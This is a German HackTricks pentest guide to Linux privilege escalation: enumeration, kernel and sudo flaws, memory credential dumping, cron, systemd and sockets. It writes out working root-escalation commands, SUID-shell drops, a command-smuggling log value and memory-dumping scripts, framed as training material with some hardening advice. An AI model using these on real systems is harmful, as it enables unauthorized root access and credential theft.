Linux Privilege Escalation

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

Systeminformationen

OS-Info

Fangen wir an, Informationen über das laufende OS zu sammeln.

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

Wenn du Schreibrechte für einen Ordner innerhalb der PATH-Variable hast, kannst du möglicherweise einige libraries oder binaries hijacken:

echo $PATH

Umgebungsinformationen

Interessante Informationen, Passwörter oder API-Schlüssel in den Umgebungsvariablen?

(env || set) 2>/dev/null

Kernel exploits

Überprüfe die Kernel-Version und ob es einen exploit gibt, der genutzt werden kann, um escalate privileges

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Du findest eine gute Liste verwundbarer Kernel und einige bereits compiled exploits hier: https://github.com/lucyoa/kernel-exploits und exploitdb sploits.
Weitere Seiten, auf denen du einige compiled exploits finden kannst: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Um alle verwundbaren Kernelversionen von dieser Webseite zu extrahieren, kannst du folgendes tun:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Tools, die bei der Suche nach kernel exploits helfen könnten, sind:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (auf dem Opfer ausführen, prüft nur exploits für kernel 2.x)

Suche immer die kernel version in Google, vielleicht ist deine kernel version in einem kernel exploit vermerkt und dann kannst du sicher sein, dass dieser exploit gültig ist.

Zusätzliche kernel exploitation techniques:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo-Version

Basierend auf den verwundbaren sudo-Versionen, die in erscheinen:

searchsploit sudo

Sie können prüfen, ob die sudo-Version verwundbar ist, indem Sie dieses grep verwenden.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Sudo-Versionen vor 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) erlauben nicht privilegierten lokalen Benutzern, ihre Privilegien auf root zu eskalieren über die sudo --chroot Option, wenn die Datei /etc/nsswitch.conf aus einem von Benutzern kontrollierten Verzeichnis verwendet wird.

Hier ist ein PoC, um diese vulnerability auszunutzen. Bevor Sie den Exploit ausführen, stellen Sie sicher, dass Ihre sudo-Version verwundbar ist und die chroot-Funktion unterstützt.

Für weitere Informationen lesen Sie die ursprüngliche Sicherheitsmeldung

Sudo host-based rules bypass (CVE-2025-32462)

Sudo vor 1.9.17p1 (berichteter betroffener Bereich: 1.8.8–1.9.17) kann host-basierte sudoers-Regeln unter Verwendung des vom Benutzer gelieferten Hostnamens aus sudo -h <host> statt des tatsächlichen Hostnamens auswerten. Wenn sudoers auf einem anderen Host weiterreichende Privilegien gewährt, können Sie diesen Host lokal spoof.

Voraussetzungen:

• Verwundbare sudo-Version
• Host-spezifische sudoers-Regeln (Host ist weder der aktuelle Hostname noch ALL)

Beispiel sudoers-Muster:

Host_Alias     SERVERS = devbox, prodbox
Host_Alias     PROD    = prodbox
alice          SERVERS, !PROD = NOPASSWD:ALL

Exploit durch Spoofing des erlaubten Hosts:

sudo -h devbox id
sudo -h devbox -i

sudo < v1.8.28

Wenn die Auflösung des spoofed name blockiert ist, füge ihn zu /etc/hosts hinzu oder verwende einen Hostnamen, der bereits in logs/configs vorkommt, um DNS lookups zu vermeiden.

Von @sickrov

sudo -u#-1 /bin/bash

Dmesg Signaturprüfung fehlgeschlagen

Sieh dir die smasher2 box of HTB für ein Beispiel an, wie diese vuln ausgenutzt werden kann.

dmesg 2>/dev/null | grep "signature"

Weitere System enumeration

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Mögliche Verteidigungsmaßnahmen auflisten

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Container Breakout

Wenn du dich in einem container befindest, beginne mit dem folgenden container-security Abschnitt und pivot dann in die runtime-specific abuse pages:

Container Security

Drives

Überprüfe what is mounted and unmounted, wo und warum. Falls etwas unmounted ist, kannst du versuchen, es zu mounten und nach privaten Informationen zu suchen

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Nützliche Software

Nützliche Binaries auflisten

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Prüfe außerdem, ob ein Compiler installiert ist. Das ist nützlich, wenn du einen kernel exploit verwenden musst, da empfohlen wird, ihn auf der Maschine zu kompilieren, auf der du ihn einsetzen willst (oder auf einer ähnlichen).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Verwundbare installierte Software

Überprüfen Sie die Version der installierten Pakete und Dienste. Vielleicht gibt es eine alte Nagios-Version (zum Beispiel), die ausgenutzt werden könnte, um Privilegien zu eskalieren…
Es wird empfohlen, die Version der verdächtigen installierten Software manuell zu überprüfen.

dpkg -l #Debian
rpm -qa #Centos

Wenn Sie SSH-Zugang zur Maschine haben, können Sie auch openVAS verwenden, um auf der Maschine installierte, veraltete oder anfällige Software zu überprüfen.

[!NOTE] > Beachten Sie, dass diese Befehle viele Informationen anzeigen werden, die größtenteils nutzlos sind. Daher empfiehlt sich die Verwendung von Anwendungen wie OpenVAS oder ähnlichen, die prüfen, ob eine installierte Softwareversion gegenüber bekannten Exploits verwundbar ist

Prozesse

Schauen Sie sich an, welche Prozesse ausgeführt werden, und prüfen Sie, ob ein Prozess mehr Rechte hat, als er haben sollte (vielleicht läuft ein tomcat als root?)

ps aux
ps -ef
top -n 1

Überprüfe immer, ob electron/cef/chromium debuggers laufen — du könntest sie zum Privilegieneskalieren missbrauchen. Linpeas erkennt diese, indem es den --inspect Parameter in der Befehlszeile des Prozesses prüft.
Prüfe außerdem deine Privilegien bezüglich der Binaries der Prozesse, vielleicht kannst du sie überschreiben.

Benutzerübergreifende Eltern-Kind-Ketten

Ein Kindprozess, der unter einem anderen Benutzer läuft als sein Elternprozess, ist nicht automatisch bösartig, aber er ist ein nützliches Triage-Signal. Manche Übergänge sind zu erwarten (root, der einen Service-Benutzer startet, Login-Manager, die Session-Prozesse erzeugen), aber ungewöhnliche Ketten können Wrapper, Debug-Helfer, Persistenz oder schwache Laufzeit-Vertrauensgrenzen offenbaren.

Kurze Übersicht:

ps -eo pid,ppid,user,comm,args --sort=ppid
pstree -alp

Wenn du eine überraschende Kette findest, untersuche die Kommandozeile des übergeordneten Prozesses und alle Dateien, die sein Verhalten beeinflussen (config, EnvironmentFile, Hilfsskripte, Arbeitsverzeichnis, beschreibbare Argumente). In mehreren realen privesc-Pfaden war der untergeordnete Prozess selbst nicht beschreibbar, aber die vom übergeordneten Prozess kontrollierte Konfiguration oder die Hilfskette war es.

Gelöschte ausführbare Dateien und noch geöffnete, gelöschte Dateien

Laufzeitartefakte sind oft auch nach dem Löschen weiterhin zugänglich. Das ist sowohl für privilege escalation als auch für die Wiederherstellung von Beweismaterial aus einem Prozess nützlich, der bereits sensible Dateien geöffnet hat.

Auf gelöschte ausführbare Dateien prüfen:

pid=<PID>
ls -l /proc/$pid/exe
readlink /proc/$pid/exe
tr '\0' ' ' </proc/$pid/cmdline; echo

Wenn /proc/<PID>/exe auf (deleted) zeigt, läuft der Prozess weiterhin das alte binary image aus dem Speicher. Das ist ein starkes Indiz, das untersucht werden sollte, weil:

• Die gelöschte ausführbare Datei interessante strings oder credentials enthalten kann
• Der laufende Prozess weiterhin nützliche file descriptors offenlegen kann
• Ein gelöschtes privileged binary auf kürzliche tampering oder versuchte cleanup hinweisen kann

Gelöschte, aber noch geöffnete Dateien systemweit sammeln:

lsof +L1

Wenn du einen interessanten descriptor findest, stelle ihn direkt wieder her:

ls -l /proc/<PID>/fd
cat /proc/<PID>/fd/<FD>

Das ist besonders wertvoll, wenn ein Prozess noch eine gelöschte secret-, Script-, Datenbank-Export- oder Flag-Datei geöffnet hat.

Prozessüberwachung

Sie können Tools wie pspy verwenden, um Prozesse zu überwachen. Dies kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Anforderungen erfüllt sind.

Prozessspeicher

Einige Dienste eines Servers speichern credentials in clear text inside the memory.
Normalerweise benötigen Sie root privileges, um den Speicher von Prozessen anderer Benutzer zu lesen; daher ist dies meist nützlicher, wenn Sie bereits root sind und weitere credentials entdecken möchten.
Denken Sie jedoch daran, dass als normaler Benutzer Sie den Speicher der Prozesse, die Ihnen gehören, lesen können.

Warning

Beachten Sie, dass die meisten Maschinen heutzutage ptrace nicht standardmäßig erlauben, was bedeutet, dass Sie andere Prozesse, die Ihrem unprivileged user gehören, nicht dumpen können.

Die Datei /proc/sys/kernel/yama/ptrace_scope steuert die Zugänglichkeit von ptrace:

• kernel.yama.ptrace_scope = 0: alle Prozesse können debuggt werden, solange sie dieselbe uid haben. Dies ist die klassische Funktionsweise von ptracing.
• kernel.yama.ptrace_scope = 1: nur ein Parent-Prozess kann debuggt werden.
• kernel.yama.ptrace_scope = 2: Nur admin kann ptrace verwenden, da die CAP_SYS_PTRACE-Fähigkeit erforderlich ist.
• kernel.yama.ptrace_scope = 3: Keine Prozesse dürfen mit ptrace nachverfolgt werden. Nach dem Setzen ist ein Reboot erforderlich, um ptracing wieder zu aktivieren.

GDB

Wenn Sie Zugriff auf den Speicher eines FTP-Dienstes (zum Beispiel) haben, könnten Sie den Heap extrahieren und darin nach credentials suchen.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB-Skript

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Für eine gegebene Prozess-ID zeigen maps, wie der Speicher im virtuellen Adressraum dieses Prozesses gemappt ist; es zeigt außerdem die Berechtigungen jeder gemappten Region. Die mem Pseudo-Datei legt den eigentlichen Speicher des Prozesses offen. Aus der maps-Datei wissen wir, welche Speicherbereiche lesbar sind und deren Offsets. Wir verwenden diese Informationen, um in die mem-Datei zu seeken und alle lesbaren Regionen in eine Datei zu dumpen.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem bietet Zugriff auf den physischen Arbeitsspeicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann über /dev/kmem angesprochen werden.
Typischerweise ist /dev/mem nur für root und die kmem-Gruppe lesbar.

strings /dev/mem -n10 | grep -i PASS

ProcDump für linux

ProcDump ist eine für Linux neu gestaltete Version des klassischen ProcDump-Tools aus der Sysinternals-Tool-Suite für Windows. Erhältlich unter https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Werkzeuge

Um den Speicher eines Prozesses zu dumpen, kannst du Folgendes verwenden:

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Du kannst manuell die root-Anforderungen entfernen und den Prozess, der dir gehört, dumpen
• Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (root ist erforderlich)

Anmeldeinformationen aus dem Prozessspeicher

Manuelles Beispiel

Wenn du feststellst, dass der authenticator-Prozess läuft:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Sie können den Prozess dumpen (siehe frühere Abschnitte, um verschiedene Methoden zum Dumpen des Speichers eines Prozesses zu finden) und nach Anmeldeinformationen im Speicher suchen:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Das Tool https://github.com/huntergregal/mimipenguin wird Klartext-Zugangsdaten aus dem Arbeitsspeicher stehlen und aus einigen bekannten Dateien. Es benötigt root-Rechte, um korrekt zu funktionieren.

Such-Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Geplante/Cron-Jobs

Crontab UI (alseambusher) läuft als root – webbasierter Scheduler privesc

Wenn ein Web‑“Crontab UI”-Panel (alseambusher/crontab-ui) als root läuft und nur an loopback gebunden ist, kannst du es trotzdem über SSH local port-forwarding erreichen und einen privilegierten Job erstellen, um privesc durchzuführen.

Typische Kette

• Finde einen nur an loopback gebundenen Port (z. B. 127.0.0.1:8000) und den Basic-Auth-Realm via ss -ntlp / curl -v localhost:8000
• Finde Anmeldedaten in betrieblichen Artefakten:
• Backups/Skripte mit zip -P <password>
• systemd unit, die Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..." offenlegt
• Tunnel und Login:

ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate

• Erstelle einen hochprivilegierten Job und führe ihn sofort aus (drops SUID shell):

# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell

• Benutze es:

/tmp/rootshell -p   # root shell

Härtung

• Führe Crontab UI nicht als root aus; beschränke es auf einen dedizierten Benutzer und minimale Berechtigungen
• An localhost binden und zusätzlich den Zugriff via Firewall/VPN einschränken; Passwörter nicht wiederverwenden
• Vermeide das Einbetten von secrets in unit files; nutze secret stores oder eine root-only EnvironmentFile
• Aktiviere Audit/Logging für on-demand Job-Ausführungen

Prüfe, ob ein geplanter Job verwundbar ist. Vielleicht kannst du ein script ausnutzen, das von root ausgeführt wird (wildcard vuln? Dateien ändern, die root verwendet? symlinks verwenden? Bestimmte Dateien im Verzeichnis erstellen, das root verwendet?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Wenn run-parts verwendet wird, überprüfe, welche Namen wirklich ausgeführt werden:

run-parts --test /etc/cron.hourly
run-parts --test /etc/cron.daily

Dies vermeidet Fehlalarme. Ein beschreibbares periodic-Verzeichnis ist nur dann nützlich, wenn der Dateiname deiner Payload den lokalen run-parts-Regeln entspricht.

Cron-Pfad

Zum Beispiel findest du in /etc/crontab den PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Beachte, dass der Benutzer “user” Schreibrechte über /home/user hat)

Wenn in dieser crontab der root-Benutzer versucht, einen Befehl oder ein Script auszuführen, ohne den PATH zu setzen. Zum Beispiel: * * * * root overwrite.sh
Dann kannst du eine root-Shell bekommen, indem du Folgendes benutzt:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron, das ein Skript mit einem Platzhalter verwendet (Wildcard Injection)

Wenn ein von root ausgeführtes Skript ein “*” in einem Befehl enthält, kannst du das ausnutzen, um unerwartete Dinge zu bewirken (z. B. privesc). Beispiel:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Wenn das wildcard vor einem Pfad wie /some/path/* steht, ist es nicht verwundbar (sogar ./* nicht).

Lies die folgende Seite für weitere wildcard exploitation tricks:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash führt parameter expansion und command substitution vor der arithmetischen Auswertung in ((…)), $((…)) und let aus. Wenn ein root cron/parser untrusted log-Felder liest und diese in einen arithmetischen Kontext einspeist, kann ein Angreifer eine command substitution $(…) injizieren, die beim Ausführen des cron als root läuft.

• Warum das funktioniert: In Bash erfolgen Expansionen in folgender Reihenfolge: parameter/variable expansion, command substitution, arithmetic expansion, dann word splitting und pathname expansion. Ein Wert wie $(/bin/bash -c 'id > /tmp/pwn')0 wird also zuerst substituiert (der Befehl wird ausgeführt), danach wird das verbleibende numerische 0 für die Arithmetik genutzt, sodass das Skript ohne Fehler weiterläuft.

• Typisches verwundbares Muster:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log

• Ausnutzung: Sorge dafür, dass attacker-controlled Text in das geparste log geschrieben wird, sodass das numerisch-aussehende Feld eine command substitution enthält und mit einer Ziffer endet. Stelle sicher, dass dein Befehl nichts an stdout ausgibt (oder leite es um), damit die Arithmetik gültig bleibt.

# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Cron script overwriting and symlink

If you can modify a cron script executed by root, you can get a shell very easily:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Wenn das vom root ausgeführte script ein directory verwendet, auf das du vollen Zugriff hast, kann es nützlich sein, diesen folder zu löschen und einen symlink folder zu einem anderen zu erstellen, der ein von dir kontrolliertes script bereitstellt.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Symlink-Validierung und sicherere Datei-Verarbeitung

Beim Überprüfen von privilegierten Skripten/Binaries, die Dateien über Pfade lesen oder schreiben, prüfen Sie, wie Links behandelt werden:

• stat() folgt einem symlink und gibt Metadaten des Ziels zurück.
• lstat() gibt Metadaten des Links selbst zurück.
• readlink -f und namei -l helfen, das endgültige Ziel aufzulösen und die Berechtigungen jeder Pfadkomponente anzuzeigen.

readlink -f /path/to/link
namei -l /path/to/link

Für Verteidiger/Entwickler sind sicherere Muster gegen symlink-Tricks:

• O_EXCL mit O_CREAT: schlägt fehl, wenn der Pfad bereits existiert (verhindert vom Angreifer vorab erstellte Links/Dateien).
• openat(): relativ zu einem vertrauenswürdigen Verzeichnis-Dateideskriptor operieren.
• mkstemp(): temporäre Dateien atomar mit sicheren Berechtigungen erstellen.

Custom-signierte cron-Binaries mit beschreibbaren Payloads

Blue teams “signieren” manchmal cron-getriebene Binaries, indem sie eine benutzerdefinierte ELF-Section dumpen und vor der Ausführung als root nach einem Vendor-String greppen. Wenn dieses Binary group-writable ist (z. B. /opt/AV/periodic-checks/monitor mit Eigentümer root:devs 770) und du das signing material leak kannst, kannst du die Section fälschen und die cron-Task hijacken:

1. Nutze pspy, um den Verifizierungsablauf zu capture’n. Bei Era führte root objcopy --dump-section .text_sig=text_sig_section.bin monitor gefolgt von grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin aus und führte dann die Datei aus.
2. Recreate das erwartete Certificate using the leaked key/config (from signing.zip):

openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem

3. Build einen bösartigen Ersatz (z. B. einen SUID bash dropen, deinen SSH key hinzufügen) und bette das Zertifikat in .text_sig ein, sodass der grep besteht:

gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'

4. Überschreibe das geplante Binary und erhalte dabei die Execute-Bits:

cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor

5. Warte auf den nächsten cron-Lauf; sobald die naive Signaturprüfung besteht, läuft dein Payload als root.

Häufige cron-Jobs

Du kannst Prozesse überwachen, um Prozesse zu finden, die alle 1, 2 oder 5 Minuten ausgeführt werden. Vielleicht kannst du das ausnutzen und Privilegien eskalieren.

Zum Beispiel, um jede 0.1s für 1 Minute zu überwachen, nach weniger ausgeführten Befehlen zu sortieren und die am häufigsten ausgeführten Befehle zu löschen, kannst du Folgendes tun:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Du kannst auch pspy (dies überwacht und listet jeden gestarteten Prozess).

Root-Backups, die vom Angreifer gesetzte Mode-Bits erhalten (pg_basebackup)

Wenn ein von root betriebener cron pg_basebackup (oder jede rekursive Kopie) für ein Datenbankverzeichnis ausführt, in das du schreiben kannst, kannst du eine SUID/SGID binary platzieren, die mit denselben Mode-Bits als root:root in die Backup-Ausgabe kopiert wird.

Typischer Entdeckungsablauf (als DB-Benutzer mit niedrigen Rechten):

• Verwende pspy, um einen root cron zu entdecken, der etwa jede Minute etwas wie /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/ aufruft.
• Bestätige, dass der Quell-Cluster (z. B. /var/lib/postgresql/14/main) von dir beschreibbar ist und das Ziel (/opt/backups/current) nach dem Job root gehört.

Exploit:

# As the DB service user owning the cluster directory
cd /var/lib/postgresql/14/main
cp /bin/bash .
chmod 6777 bash

# Wait for the next root backup run (pg_basebackup preserves permissions)
ls -l /opt/backups/current/bash  # expect -rwsrwsrwx 1 root root ... bash
/opt/backups/current/bash -p    # root shell without dropping privileges

Das funktioniert, weil pg_basebackup die Dateiberechtigungs-Bits beim Kopieren des Clusters beibehält; wenn es mit root-Rechten aufgerufen wird, erben die Zieldateien root ownership + attacker-chosen SUID/SGID. Jede ähnliche privilegierte Backup-/Copy-Routine, die Berechtigungen beibehält und in einen ausführbaren Pfad schreibt, ist verwundbar.

Unsichtbare cron jobs

Es ist möglich, einen cronjob zu erstellen, indem ein carriage return nach einem Kommentar gesetzt wird (ohne newline character), und der cron job wird funktionieren. Beispiel (achte auf das carriage return Zeichen):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Um diese Art von heimlichem Einstieg zu erkennen, untersuche cron-Dateien mit Tools, die Steuerzeichen anzeigen:

cat -A /etc/crontab
cat -A /etc/cron.d/*
sed -n 'l' /etc/crontab /etc/cron.d/* 2>/dev/null
xxd /etc/crontab | head

Dienste

Schreibbare .service Dateien

Prüfe, ob du eine .service-Datei schreiben kannst, wenn ja, könntest du sie modifizieren, sodass sie deine backdoor ausführt, wenn der Dienst gestartet, neu gestartet oder gestoppt wird (vielleicht musst du bis zum Neustart der Maschine warten).
Zum Beispiel erstelle deine backdoor innerhalb der .service-Datei mit ExecStart=/tmp/script.sh

Schreibbare Service-Binaries

Beachte, dass wenn du Schreibrechte auf Binaries hast, die von Diensten ausgeführt werden, du sie ändern kannst, um backdoors einzubauen, sodass beim erneuten Ausführen der Dienste die backdoors ausgeführt werden.

systemd PATH - Relative Pfade

Du kannst den von systemd verwendeten PATH mit:

systemctl show-environment

Wenn du feststellst, dass du in einem der Ordner des Pfads write kannst, kannst du möglicherweise escalate privileges. Du musst in Dateien nach relative paths being used on service configurations suchen, z. B.:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Dann erstelle ein executable mit genau demselben Namen wie die relative Pfad-Binary im systemd PATH-Ordner, in den du schreiben kannst, und wenn der Service aufgefordert wird, die verwundbare Aktion (Start, Stop, Reload) auszuführen, wird dein backdoor ausgeführt (nicht-privilegierte Benutzer können Dienste normalerweise nicht starten/stoppen — überprüfe jedoch, ob du sudo -l verwenden kannst).

Mehr über services erfährst du mit man systemd.service.

Timers

Timers sind systemd Unit-Dateien, deren Name auf **.timer** endet und die **.service**-Dateien oder -Ereignisse steuern. Timers können als Alternative zu cron verwendet werden, da sie eingebaute Unterstützung für kalenderbasierte Zeitereignisse und monotone Zeitereignisse bieten und asynchron ausgeführt werden können.

Du kannst alle Timer mit folgenden Befehl aufzählen:

systemctl list-timers --all

Beschreibbare Timer

Wenn du einen Timer ändern kannst, kannst du ihn dazu bringen, existierende systemd.unit-Einheiten auszuführen (wie eine .service oder eine .target).

Unit=backdoor.service

In der Dokumentation kannst du lesen, was die Unit ist:

Die Unit, die aktiviert wird, wenn dieser Timer abläuft. Das Argument ist ein Unit-Name, dessen Suffix nicht “.timer” ist. Falls nicht angegeben, ist dieser Wert standardmäßig ein Service, der denselben Namen wie die Timer-Unit hat, abgesehen vom Suffix. (Siehe oben.) Es wird empfohlen, dass der zu aktivierende Unit-Name und der Unit-Name der Timer-Unit identisch benannt sind, abgesehen vom Suffix.

Daher müsstest du, um diese Berechtigung auszunutzen, Folgendes tun:

• Finde eine systemd-Unit (wie eine .service), die ein beschreibbares Binary ausführt
• Finde eine systemd-Unit, die einen relativen Pfad ausführt und für die du Schreibrechte auf den systemd PATH hast (um dieses ausführbare Programm zu übernehmen)

Mehr über Timer erfährst du mit man systemd.timer.

Timer aktivieren

Um einen Timer zu aktivieren, benötigst du root-Rechte und musst Folgendes ausführen:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Beachte, dass der Timer durch das Erstellen eines Symlinks zu ihm unter /etc/systemd/system/<WantedBy_section>.wants/<name>.timer aktiviert wird

Sockets

Unix Domain Sockets (UDS) ermöglichen Prozesskommunikation auf demselben oder unterschiedlichen Rechnern innerhalb von Client-Server-Modellen. Sie verwenden standardmäßige Unix-Deskriptor-Dateien für die Kommunikation zwischen Rechnern und werden über .socket-Dateien eingerichtet.

Sockets können mit .socket-Dateien konfiguriert werden.

Erfahre mehr über Sockets mit man systemd.socket. In dieser Datei können mehrere interessante Parameter konfiguriert werden:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Diese Optionen unterscheiden sich, aber zusammenfassend dienen sie dazu anzugeben, wo gelauscht wird (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6-Adresse und/oder die Portnummer, auf der gelauscht werden soll, etc.)
